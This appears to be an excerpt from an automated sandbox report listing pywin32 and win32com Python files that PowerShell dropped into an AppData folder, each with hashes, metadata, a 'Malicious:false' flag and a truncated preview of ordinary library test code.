              SHA-512:CF19F968B5E04B9643EA308A42B624CC5631809440432B4F8C116A648792F4364805DDE07BB5CE271EE0DEDF131A60636FB6A87F9E4C12861F0E85CA407DB478
              Malicious:false
              Reputation:unknown
              Preview:import sys.import unittest..import pywintypes.import win32api...# A class that will never die vie refcounting, but will die via GC..class Cycle:. def __init__(self, handle):. self.cycle = self. self.handle = handle...class PyHandleTestCase(unittest.TestCase):. def testCleanup1(self):. # We used to clobber all outstanding exceptions.. def f1(invalidate):. import win32event.. h = win32event.CreateEvent(None, 0, 0, None). if invalidate:. win32api.CloseHandle(int(h)). 1 / 0. # If we invalidated, then the object destruction code will attempt. # to close an invalid handle. We don't wan't an exception in. # this case.. def f2(invalidate):. """This function should throw an IOError.""". try:. f1(invalidate). except ZeroDivisionError as exc:. raise IOError("raise 2").. self.assertRaises(IOError,

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\test\test_clipboard.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4128
              Entropy (8bit):4.766945925977974
              Encrypted:false
              SSDEEP:
              MD5:707A3C38CA9599DEE8D886F84AC1048C
              SHA1:F3A07C7B293C479A48631895FEE5FC7B72ED45C1
              SHA-256:CC1A7875EF1EC4B6B5C50FCFA5EE92D386E69EF6DF4DB2FF6F4E8B081E16A0B2
              SHA-512:1B1D2FA8F2C469178DA6C93926C5BFF38CA3050B17AE857E3321EAEC37E7D9C96C96C52D13A249F5D8E335092D960DCE74EA89A816692DD02AD6CF35AA074922
              Malicious:false
              Reputation:unknown
              Preview:# General test module for win32api - please add some :).import array.import os.import sys.import unittest..import pywintypes.import win32con.import win32gui.from pywin32_testutil import str2bytes.from win32clipboard import *..custom_format_name = "PythonClipboardTestFormat"...class CrashingTestCase(unittest.TestCase):. def test_722082(self):. class crasher(object):. pass.. obj = crasher(). OpenClipboard(). try:. EmptyClipboard(). # This used to crash - now correctly raises type error.. self.assertRaises(TypeError, SetClipboardData, 0, obj). finally:. CloseClipboard()...class TestBitmap(unittest.TestCase):. def setUp(self):. self.bmp_handle = None. try:. this_file = __file__. except NameError:. this_file = sys.argv[0]. this_dir = os.path.dirname(this_file). self.bmp_name = os.path.join(. os.path.abspath(this_dir), "..", "Demo

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\test\test_exceptions.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):8401
              Entropy (8bit):4.658954261945094
              Encrypted:false
              SSDEEP:
              MD5:EA5E07027F4DBF3C8BB1196FAAF915A2
              SHA1:47CBA1C28BBFD1B9EB4E152B5B869BB6E10765DF
              SHA-256:242D1EA4E8096B43DB499870C4EDFA10EDA5F43B72BB8C7530D8ED8CC27D78F3
              SHA-512:94435C3A55280F9B818A4728C3B78258AF09F2FBD88521EDEA4B7ED8611A5025F9E972A18B13D433FE496BC8670D53C542F46239386E25D7124875CC52A53428
              Malicious:false
              Reputation:unknown
              Preview:"""Test pywin32's error semantics""".import sys.import unittest..import pythoncom.import pywintypes.import win32api.import win32file.import winerror...class TestBase(unittest.TestCase):. def _testExceptionIndex(self, exc, index, expected):. # check the exception itself can be indexed if not py3k. if sys.version_info < (3,):. self.assertEqual(exc[index], expected). # and that exception.args can is the same.. self.assertEqual(exc.args[index], expected)...class TestAPISimple(TestBase):. def _getInvalidHandleException(self):. try:. win32api.CloseHandle(1). except win32api.error as exc:. return exc. self.fail("Didn't get invalid-handle exception.").. def testSimple(self):. self.assertRaises(pywintypes.error, win32api.CloseHandle, 1).. def testErrnoIndex(self):. exc = self._getInvalidHandleException(). self._testExceptionIndex(exc, 0, winerror.ERROR_INVALID_HANDLE).. def test

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\test\test_odbc.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):8472
              Entropy (8bit):4.201102143048348
              Encrypted:false
              SSDEEP:
              MD5:BD17A4E829646A8C6BFD0AD0E92C33D1
              SHA1:7C73924F5EE596727E9B2D09F5053CCA3D5ED402
              SHA-256:C1915D09E993B9A0ADD6473CDF1875ECE33242560FA283D4799F191F8D7CB40D
              SHA-512:64EBF976C4AE5C1193CD9C5B811B133B227E040F5BE17738A0F684C3BFB0F0DB10665A880A4E429A732A1FA258344A575CFA7CAB941D086B82EB2B8B87CDDDD9
              Malicious:false
              Reputation:unknown
              Preview:# odbc test suite kindly contributed by Frank Millman..import os.import sys.import tempfile.import unittest..import odbc.import pythoncom.from pywin32_testutil import TestSkipped, str2bytes, str2memory.from win32com.client import constants..# We use the DAO ODBC driver.from win32com.client.gencache import EnsureDispatch...class TestStuff(unittest.TestCase):. def setUp(self):. self.tablename = "pywin32test_users". self.db_filename = None. self.conn = self.cur = None. try:. # Test any database if a connection string is supplied.... conn_str = os.environ["TEST_ODBC_CONNECTION_STRING"]. except KeyError:. # Create a local MSAccess DB for testing.. self.db_filename = tempfile.NamedTemporaryFile().name + ".mdb".. # Create a brand-new database - what is the story with these?. for suffix in (".36", ".35", ".30"):. try:. dbe = EnsureDispatch("DAO.DBEngine" + s

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\test\test_pywintypes.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4174
              Entropy (8bit):4.637672143449211
              Encrypted:false
              SSDEEP:
              MD5:A35DD3413F96F8865095071BA336714D
              SHA1:040F057F3A635E26C6DC118431707F7A537C69D2
              SHA-256:5BACA647B02030064503F9F3AEEB3D9BA60DB7F6CAC841AB0E482EF686D67A7E
              SHA-512:8B623CFA039D136860BDEB8795E385D7DDDB80B9BC617CF88788B6E3E19DC2AD3B3BDB4A47CB11403F6E4866F3E49B2E10A201D1513A638A513875D554C80592
              Malicious:false
              Reputation:unknown
              Preview:import datetime.import operator.import sys.import time.import unittest..import pywintypes.from pywin32_testutil import ob2memory, str2bytes...class TestCase(unittest.TestCase):. def testPyTimeFormat(self):. struct_current = time.localtime(). pytime_current = pywintypes.Time(struct_current). # try and test all the standard parts of the format. # Note we used to include '%Z' testing, but that was pretty useless as. # it always returned the local timezone.. format_strings = "%a %A %b %B %c %d %H %I %j %m %M %p %S %U %w %W %x %X %y %Y". for fmt in format_strings.split():. v1 = pytime_current.Format(fmt). v2 = time.strftime(fmt, struct_current). self.assertEqual(v1, v2, "format %s failed - %r != %r" % (fmt, v1, v2)).. def testPyTimePrint(self):. # This used to crash with an invalid, or too early time.. # We don't really want to check that it does cause a ValueError. # (as hopefully t

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\test\test_security.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6062
              Entropy (8bit):4.7616285907258655
              Encrypted:false
              SSDEEP:
              MD5:6CA4F005229E95EEC6E06F171FADC39D
              SHA1:3329FA02380512F6D6FF6F4A90B3B8CDB740290F
              SHA-256:C03DA11EE20F451145E9988056BF247E60F1FF16F91D3592F8537E420BE0DAC7
              SHA-512:9127B7140C9A0FFFD02B12D9728DE19DE4BB0254DA8841FA43E23DB3CF14FD3AF89F45A3B2D909C1ABB115B6D2869CC9260FF4D7F20B86DBB8825FAA5DBA17C8
              Malicious:false
              Reputation:unknown
              Preview:# Tests for the win32security module..import unittest..import ntsecuritycon.import pywintypes.import win32api.import win32con.import win32security.import winerror.from pywin32_testutil import TestSkipped, ob2memory, testmain...class SecurityTests(unittest.TestCase):. def setUp(self):. self.pwr_sid = win32security.LookupAccountName("", "Power Users")[0]. try:. self.admin_sid = win32security.LookupAccountName("", "Administrator")[0]. except pywintypes.error as exc:. # in automation we see:. # pywintypes.error: (1332, 'LookupAccountName', 'No mapping between account names and security IDs was done.'). if exc.winerror != winerror.ERROR_NONE_MAPPED:. raise. self.admin_sid = None.. def tearDown(self):. pass.. def testEqual(self):. if self.admin_sid is None:. raise TestSkipped("No 'Administrator' account is available"). self.assertEqual(. win32security

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\test\test_sspi.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):8302
              Entropy (8bit):4.875534408590997
              Encrypted:false
              SSDEEP:
              MD5:EE93B23110B338A67D7B16EE25FA9C74
              SHA1:57DECEBFD48BE30E7FC3BEB2F6D918EB4254211A
              SHA-256:F47AB384C7FB9F7A91DF36A23AA2FE04F24F0C4263C00227DA6295119A32E98C
              SHA-512:2613DA7651AA4B78992742ECE85726AA3E14D979C73C90B2D2C9BB2A4ACE11BA1EB8E9442B5F72DF54B2E1A10F0B5545A23FFB9A987A2EB5BFF1452069019A8B
              Malicious:false
              Reputation:unknown
              Preview:# Some tests of the win32security sspi functions..# Stolen from Roger's original test_sspi.c, a version of which is in "Demos".# See also the other SSPI demos..import re.import unittest..import sspi.import sspicon.import win32api.import win32security.from pywin32_testutil import TestSkipped, str2bytes, testmain...# It is quite likely that the Kerberos tests will fail due to not being.# installed. The NTLM tests do *not* get the same behaviour as they should.# always be there..def applyHandlingSkips(func, *args):. try:. return func(*args). except win32api.error as exc:. if exc.winerror in [. sspicon.SEC_E_NO_CREDENTIALS,. sspicon.SEC_E_NO_AUTHENTICATING_AUTHORITY,. ]:. raise TestSkipped(exc). raise...class TestSSPI(unittest.TestCase):. def assertRaisesHRESULT(self, hr, func, *args):. try:. return func(*args). raise RuntimeError("expecting %s failure" % (hr,)). except win32security.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\test\test_win32api.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):9777
              Entropy (8bit):4.737552851480279
              Encrypted:false
              SSDEEP:
              MD5:9594739675AC8888353B9128957829E3
              SHA1:C5238B021894FC502967B174245558371E60AC51
              SHA-256:7E4C25D092C23E3B72EE250646723A651FDF01D8897A9B070CA9D14974BC2B5B
              SHA-512:C5F80160BBA272FD56B3E8D34796CE6F55C772FC1B8B2EEA8FC8AB3E4E8A20234DFA4ADAE18D6A41688BC03D98CA92A35C74C19E457836E5BB4C520E5CDC874E
              Malicious:false
              Reputation:unknown
              Preview:# General test module for win32api - please add some :)..import datetime.import os.import sys.import tempfile.import unittest..import win32api.import win32con.import win32event.import winerror.from pywin32_testutil import TestSkipped, str2bytes...class CurrentUserTestCase(unittest.TestCase):. def testGetCurrentUser(self):. domain = win32api.GetDomainName(). if domain == "NT AUTHORITY":. # Running as a service account, so the comparison will fail. raise TestSkipped("running as service account"). name = "%s\\%s" % (domain, win32api.GetUserName()). self.assertEqual(name, win32api.GetUserNameEx(win32api.NameSamCompatible))...class TestTime(unittest.TestCase):. def testTimezone(self):. # GetTimeZoneInformation. rc, tzinfo = win32api.GetTimeZoneInformation(). if rc == win32con.TIME_ZONE_ID_DAYLIGHT:. tz_str = tzinfo[4]. tz_time = tzinfo[5]. else:. tz_str = tzinfo[1].

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\test\testall.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):7254
              Entropy (8bit):4.324657504637411
              Encrypted:false
              SSDEEP:
              MD5:7F09D3E18F73FEBB6A4CC0EF60200C1D
              SHA1:89B5B096A4FA43486597D5221DEA90E4B4C5F519
              SHA-256:DDFACE034C91EF063814F00BE94B76B846E9977088B7DA7FB7EC62A2CBE1EA7C
              SHA-512:ECAF5E1BBB6A4D9785778F5CF31AE91DFA80FE937636F16889D1B8CC87BE82D8FE48868FE0E410B5B8CD35772BB6B9E1F66474A122FC302E562D4B09C9C45B18
              Malicious:false
              Reputation:unknown
              Preview:import os.import re.import sys.import traceback.import unittest..import pywin32_testutil..# A list of demos that depend on user-interface of *any* kind. Tests listed.# here are not suitable for unattended testing..ui_demos = """GetSaveFileName print_desktop win32cred_demo win32gui_demo. win32gui_dialog win32gui_menu win32gui_taskbar. win32rcparser_demo winprocess win32console_demo. win32clipboard_bitmapdemo. win32gui_devicenotify. NetValidatePasswordPolicy""".split().# Other demos known as 'bad' (or at least highly unlikely to work).# cerapi: no CE module is built (CE via pywin32 appears dead).# desktopmanager: hangs (well, hangs for 60secs or so...).# EvtSubscribe_*: must be run together:.# SystemParametersInfo: a couple of the params cause markh to hang, and there's.# no great reason to adjust (twice!) all those system settings!.bad_demos = """cerapi desktopmanager win32comport_demo. EvtSubscribe_pull Evt

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32com\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script text executable Python script, ASCII text executable
              Category:dropped
              Size (bytes):4883
              Entropy (8bit):4.663042468205077
              Encrypted:false
              SSDEEP:
              MD5:6A55DA3604C17E67D8CF46B93E6C1B7A
              SHA1:7E4061CE32AB9265BA5C8A4D0567CA02FDF799E2
              SHA-256:B850316AAC162BE68966A1042857D8ACEBB5576758ED7AEA38026B13B24F3F15
              SHA-512:A937E6582C9AC2A73FD4CF664A058B75D5A790E5BA9285AA3876E5FF860C8397ECE41173EEE73B9EF955F857E04AD0023E62D475CC454BBF97F41DCB925D25C6
              Malicious:false
              Reputation:unknown
              Preview:#.# Initialization for the win32com package.#..import os.import sys..import pythoncom.import win32api..# flag if we are in a "frozen" build.._frozen = getattr(sys, "frozen", 1 == 0).# pythoncom dumbly defaults this to zero - we believe sys.frozen over it..if _frozen and not getattr(pythoncom, "frozen", 0):. pythoncom.frozen = sys.frozen..# Add support for an external "COM Extensions" path..# Concept is that you can register a seperate path to be used for.# COM extensions, outside of the win32com directory. These modules, however,.# look identical to win32com built-in modules..# This is the technique that we use for the "standard" COM extensions..# eg "win32com.mapi" or "win32com.axscript" both work, even though they do not.# live under the main win32com directory..__gen_path__ = "".__build_path__ = None.### TODO - Load _all_ \\Extensions subkeys - for now, we only read the default.### Modules will work if loaded into "win32comext" path....def SetupEnvironment():. HKEY_LOCA

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32com\test\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):43
              Entropy (8bit):4.1320441859950465
              Encrypted:false
              SSDEEP:
              MD5:7CCF7BECD3241B3DC1FCBD65FA78C5D3
              SHA1:5C97396B7F0E4A95FDD2975F9B37ADDA5D508451
              SHA-256:6FAD9353D6B72032692FEE2309B2FF70ED526B68AA7F0F10E2131E852C1E8301
              SHA-512:BDBDE0EBA39622B7A6F4764E8B28814BBEBA058F8A5412F751C41F051A79BE85E02F2B7CE99A71C210C75DCC3581F8963F3CD40157817F76F843251A1AC37663
              Malicious:false
              Reputation:unknown
              Preview:# Empty file to designate a Python package.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32com\test\testStorage.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3625
              Entropy (8bit):4.665780791634578
              Encrypted:false
              SSDEEP:
              MD5:31FE9649C7E47F2D9D4BB6717B8E553C
              SHA1:6F26774EE37B8412FCA90E77C63E08EB670DDA84
              SHA-256:1AF4FB1C67236D552F8C4BA3FFE8C91A4C5686C98D3AB1C646E1E05CE39CB509
              SHA-512:FC99DB030FD5B102705510EB5DD34AA7C5ECF7AF9E97764ED90C047FB814CF7FCE6B74946AE941A7B40D814D08DE07722F04C0830D218E08F806335638BF831F
              Malicious:false
              Reputation:unknown
              Preview:import unittest..import pythoncom.import win32api.import win32com.test.util.from win32com import storagecon...class TestEnum(win32com.test.util.TestCase):. def testit(self):. fname, tmp = win32api.GetTempFileName(win32api.GetTempPath(), "stg"). m = storagecon.STGM_READWRITE | storagecon.STGM_SHARE_EXCLUSIVE. ## file, mode, format, attrs (always 0), IID (IStorage or IPropertySetStorage, storage options(only used with STGFMT_DOCFILE). pss = pythoncom.StgOpenStorageEx(. fname, m, storagecon.STGFMT_FILE, 0, pythoncom.IID_IPropertySetStorage. ). ### {"Version":2,"reserved":0,"SectorSize":512,"TemplateFile":u'somefilename'}).. ## FMTID_SummaryInformation FMTID_DocSummaryInformation FMTID_UserDefinedProperties. psuser = pss.Create(. pythoncom.FMTID_UserDefinedProperties,. pythoncom.IID_IPropertySetStorage,. storagecon.PROPSETFLAG_DEFAULT,. storagecon

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32com\test\testStreams.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4310
              Entropy (8bit):4.653554216679465
              Encrypted:false
              SSDEEP:
              MD5:3E84ECE2EBF5845441965B5484AB2E05
              SHA1:03561EC1979B1B1C33A0E00DF85D862972C288EF
              SHA-256:495150654FC1418F26F305061DE4C1D3EF88AE62B3245CBFA9D0C1B49F2DF95B
              SHA-512:C0871F43D00485B0CD30B4C1025CB9C5E4027B8726658AF15759A2F566CB28B10B207511E38FB2E96E6153DBB588C54572E49DCCFD0EBEC135735D8B3DAB3E80
              Malicious:false
              Reputation:unknown
              Preview:import unittest..import pythoncom.import win32com.server.util.import win32com.test.util.from pywin32_testutil import str2bytes...class Persists:. _public_methods_ = [. "GetClassID",. "IsDirty",. "Load",. "Save",. "GetSizeMax",. "InitNew",. ]. _com_interfaces_ = [pythoncom.IID_IPersistStreamInit].. def __init__(self):. self.data = str2bytes("abcdefg"). self.dirty = 1.. def GetClassID(self):. return pythoncom.IID_NULL.. def IsDirty(self):. return self.dirty.. def Load(self, stream):. self.data = stream.Read(26).. def Save(self, stream, clearDirty):. stream.Write(self.data). if clearDirty:. self.dirty = 0.. def GetSizeMax(self):. return 1024.. def InitNew(self):. pass...class Stream:. _public_methods_ = ["Read", "Write", "Seek"]. _com_interfaces_ = [pythoncom.IID_IStream].. def __init__(self, data):. self.data = data. self

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32com\test\testWMI.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):468
              Entropy (8bit):4.642578373992172
              Encrypted:false
              SSDEEP:
              MD5:232B63F04ED5AF9A55D9AA29323B1A5A
              SHA1:0E566DF1E6CF68EF3F9593F7FAA9504560667BB3
              SHA-256:C0EE7863FB5BEDA45AB2F867878971539B7E9CFACC5AA5621476729F74432C23
              SHA-512:D7AB3C438DE049BC9A8CBA6ABB4B5FAFE91D13C8CE5258C9602D2F81EEE80FD23B3F719ECB4EC062C3C3CF322F5B3CF48B9A3A86FE85897C63281C4ED185FE4A
              Malicious:false
              Reputation:unknown
              Preview:import unittest..import win32com.test.util.from win32com.client import GetObject...class Simple(win32com.test.util.TestCase):. def testit(self):. cses = GetObject("WinMgMts:").InstancesOf("Win32_Process"). vals = []. for cs in cses:. val = cs.Properties_("Caption").Value. vals.append(val). self.assertFalse(len(vals) < 5, "We only found %d processes!" % len(vals))...if __name__ == "__main__":. unittest.main().

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32com\test\testvb.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):20911
              Entropy (8bit):4.667838645415224
              Encrypted:false
              SSDEEP:
              MD5:2C2F8654593CD56FA8550FFE38A76FDC
              SHA1:03B23958261A9DD7D8B986CA3CCFCD4358C3C813
              SHA-256:BC938B79C1CB61F3B4D79C3E239CB60F0F7AF98CF88FA3DADBB30E935E929421
              SHA-512:89E4E93ED244D50380085D174D58E1A1C7F01C2C91D39311503AD482B5DCAF7CA73295860F47DCAC3466DC7B7413E2F60E9F584193A2CB45E27F2A8CCF731768
              Malicious:false
              Reputation:unknown
              Preview:# Test code for a VB Program..#.# This requires the PythonCOM VB Test Harness..#..import sys.import traceback..import pythoncom.import win32com.client.import win32com.client.dynamic.import win32com.client.gencache.import winerror.from pywin32_testutil import str2memory.from win32com.server.util import NewCollection, wrap.from win32com.test import util..# for debugging.useDispatcher = None.## import win32com.server.dispatcher.## useDispatcher = win32com.server.dispatcher.DefaultDebugDispatcher..error = RuntimeError...# Set up a COM object that VB will do some callbacks on. This is used.# to test byref params for gateway IDispatch..class TestObject:. _public_methods_ = [. "CallbackVoidOneByRef",. "CallbackResultOneByRef",. "CallbackVoidTwoByRef",. "CallbackString",. "CallbackResultOneByRefButReturnNone",. "CallbackVoidOneByRefButReturnNone",. "CallbackArrayResult",. "CallbackArrayResultOneArrayByRef",. "CallbackArrayRes

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32com\test\testvbscript_regexp.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1096
              Entropy (8bit):4.691199509807831
              Encrypted:false
              SSDEEP:
              MD5:85D4894892C1975ABDC339212CBAFD49
              SHA1:1E0FB80CF40EB687053E12A00DC74DFA56808795
              SHA-256:108114E128DE165DB1C520EB2EC758838F8F8AF58F723DC0597B93DD95EBA741
              SHA-512:DD442D7357F814D3D762608464E752C9493758E2BA5AEB8E41A0E6B80FAF4C56A5CAFD531C7EF8794BDC8C02281E5BBC5E765A5D803D892A55265B60E3A6F1E0
              Malicious:false
              Reputation:unknown
              Preview:import unittest..import win32com.test.util.from win32com.client.dynamic import DumbDispatch.from win32com.client.gencache import EnsureDispatch...class RegexTest(win32com.test.util.TestCase):. def _CheckMatches(self, match, expected):. found = []. for imatch in match:. found.append(imatch.FirstIndex). self.assertEqual(list(found), list(expected)).. def _TestVBScriptRegex(self, re):. StringToSearch = "Python python pYthon Python". re.Pattern = "Python". re.Global = True.. re.IgnoreCase = True. match = re.Execute(StringToSearch). expected = 0, 7, 14, 21. self._CheckMatches(match, expected).. re.IgnoreCase = False. match = re.Execute(StringToSearch). expected = 0, 21. self._CheckMatches(match, expected).. def testDynamic(self):. re = DumbDispatch("VBScript.Regexp"). self._TestVBScriptRegex(re).. def testGenerated(self):. re = EnsureDispatch("VBScrip

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32com\test\testxslt.js

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):569
              Entropy (8bit):4.996906879670943
              Encrypted:false
              SSDEEP:
              MD5:D554BE734CB85844B11399768011CCE4
              SHA1:ED8AFBCD33369D5639D3C0BC32B7ABC6BDBDC85F
              SHA-256:75F0426A7CBE91D5556170F93A69A07FB1657790CE5615AAEE894CE17A39EF11
              SHA-512:9F59DEED36D9C36B68FA33A25C66A5BC8AA937DA1CDD41D5106B8072BE56F1C082162603BA260E2948A2C4D630D7219BF733FD3D841527578B0CD4CEF5775620
              Malicious:false
              Reputation:unknown
              Preview://Args: input-file style-file output-file.var xml = WScript.CreateObject("Microsoft.XMLDOM"); //input.xml.validateOnParse=false;.xml.load(WScript.Arguments(0));.var xsl = WScript.CreateObject("Microsoft.XMLDOM"); //style.xsl.validateOnParse=false;.xsl.load(WScript.Arguments(1));.var out = WScript.CreateObject("Scripting.FileSystemObject"); //output.var replace = true; var unicode = false; //output file properties.var hdl = out.CreateTextFile( WScript.Arguments(2), replace, unicode ).hdl.write( xml.transformNode( xsl.documentElement ));.//eof.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32com\test\testxslt.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):921
              Entropy (8bit):4.210786222625114
              Encrypted:false
              SSDEEP:
              MD5:C7D703290904AF62F8A614D2F10E5403
              SHA1:2C9FD5E5AFBD6906B98689D16C7A006A4599DF85
              SHA-256:8AF9A3943E86626C6D6CC91C11594B12A3C02A82764171F0C064991D82A27ACB
              SHA-512:7880BEA13CB219E5EB04E5ABA8D4462817FA37C77E47931FA90E76305138B167ADC2EAD920B5C655FB76D0E07ADC34AD38AE02355D41275D2A5E6B99AB315621
              Malicious:false
              Reputation:unknown
              Preview:import os.import tempfile.import unittest..import win32com.test.util..expected_output = "The jscript test worked.\nThe Python test worked"...class XSLT(win32com.test.util.TestCase):. def testAll(self):. output_name = tempfile.mktemp("-pycom-test"). cmd = (. "cscript //nologo testxslt.js doesnt_matter.xml testxslt.xsl " + output_name. ). win32com.test.util.ExecuteShellCommand(cmd, self). try:. f = open(output_name). try:. got = f.read(). if got != expected_output:. print("ERROR: XSLT expected output of %r" % (expected_output,)). print("but got %r" % (got,)). finally:. f.close(). finally:. try:. os.unlink(output_name). except os.error:. pass...if __name__ == "__main__":. unittest.main().

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32com\test\testxslt.xsl

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2058
              Entropy (8bit):4.628887308709545
              Encrypted:false
              SSDEEP:
              MD5:3AB554D42090171E1253172269EA23CC
              SHA1:B0999CC2465E29972BA22D62B99D5F7F57AB692A
              SHA-256:EBEAC1C9122414E43557AF079F4341A73A7A5B0E5C87AB85BD82430BD8CB8D81
              SHA-512:B356E2C9E370A18296F81E91DCA2F698B1BDDA6A046BEC911B7C0746F5EC16D5032A0BED169BB439F87A0C94543DE0E9FA484B7D4E1297B06CD3C5620FFEFFCF
              Malicious:false
              Reputation:unknown
              Preview: include in the xsl:stylesheet element:. (a) the version attribute as usual. (b) the XSLT namespace declaration as usual. (c) the MSXSL namespace declaration. (d) a namespace declaration to identify your functions. (e) the 'extension-element-prefixes' attribute to give the. namespace prefixes that indicate extension elements. (i.e. 'msxsl'). (f) the 'exclude-result-prefixes' attribute to indicate the. namespaces that aren't supposed to be part of the result. tree (i.e. 'foo') -->.<xsl:stylesheet version="1.0". xmlns:xsl="http://www.w3.org/1999/XSL/Transform". xmlns:msxsl="urn:schemas-microsoft-com:xslt". xmlns:foo="http://www.pythoncom-test.com/foo". xmlns:bar="http://www.pythoncom-test.com/bar". extension-element-prefixes="msxsl". exclude-result-prefixes="foo bar">.. do whatever output you want - you can use full XSLT functionality.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32com\test\util.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):8175
              Entropy (8bit):4.552793670747682
              Encrypted:false
              SSDEEP:
              MD5:EB32AD5A4CB98B7A2F49BA7DBBFD7057
              SHA1:382F050294B787A9D82DB6F05B24EFE601D4ABAC
              SHA-256:AE3F40AAE239A49FCF2C8D3E992C934BE17203FA04EE389B83C07B1BAC7BB324
              SHA-512:F19D14CC099DBD4F981B20FA71083608443769A6F6050FD3D42A12FF3A0923045509A16314B6C771B9CAAA8A34AF2BB8217F7C789BE3246862285187F32D9354
              Malicious:false
              Reputation:unknown
              Preview:import gc.import logging.import os.import sys.import tempfile.import unittest.import winreg..import pythoncom.import pywin32_testutil.import pywintypes.import win32api.import win32com.import winerror.from pythoncom import _GetGatewayCount, _GetInterfaceCount.from pywin32_testutil import LeakTestCase, TestLoader, TestResult, TestRunner...def CheckClean():. # Ensure no lingering exceptions - Python should have zero outstanding. # COM objects. try:. sys.exc_clear(). except AttributeError:. pass # py3k. c = _GetInterfaceCount(). if c:. print("Warning - %d com interface objects still alive" % c). c = _GetGatewayCount(). if c:. print("Warning - %d com gateway objects still alive" % c)...def RegisterPythonServer(filename, progids=None, verbose=0):. if progids:. if isinstance(progids, str):. progids = [progids]. # we know the CLSIDs we need, but we might not be an admin user. # and otherwise unable to regis

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32com\universal.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):8532
              Entropy (8bit):4.453702334139223
              Encrypted:false
              SSDEEP:
              MD5:3FEC573C1329017514AE59E602836AB4
              SHA1:9D09532F0CD562EBCD1498249F290DA5C85BDA42
              SHA-256:97FBDE1DC49AEFC1239740553A8A07D0F74AE2A1A8060C54DACD018347DFAD9F
              SHA-512:CDE5918557A219A73C4750FE3285256F7B27087D28EC4F782BB3155A55DD53B9DC2EA31A4D079499C1FF29C46C59733862C18B7A5CDB227B9AB7185B274E9A1F
              Malicious:false
              Reputation:unknown
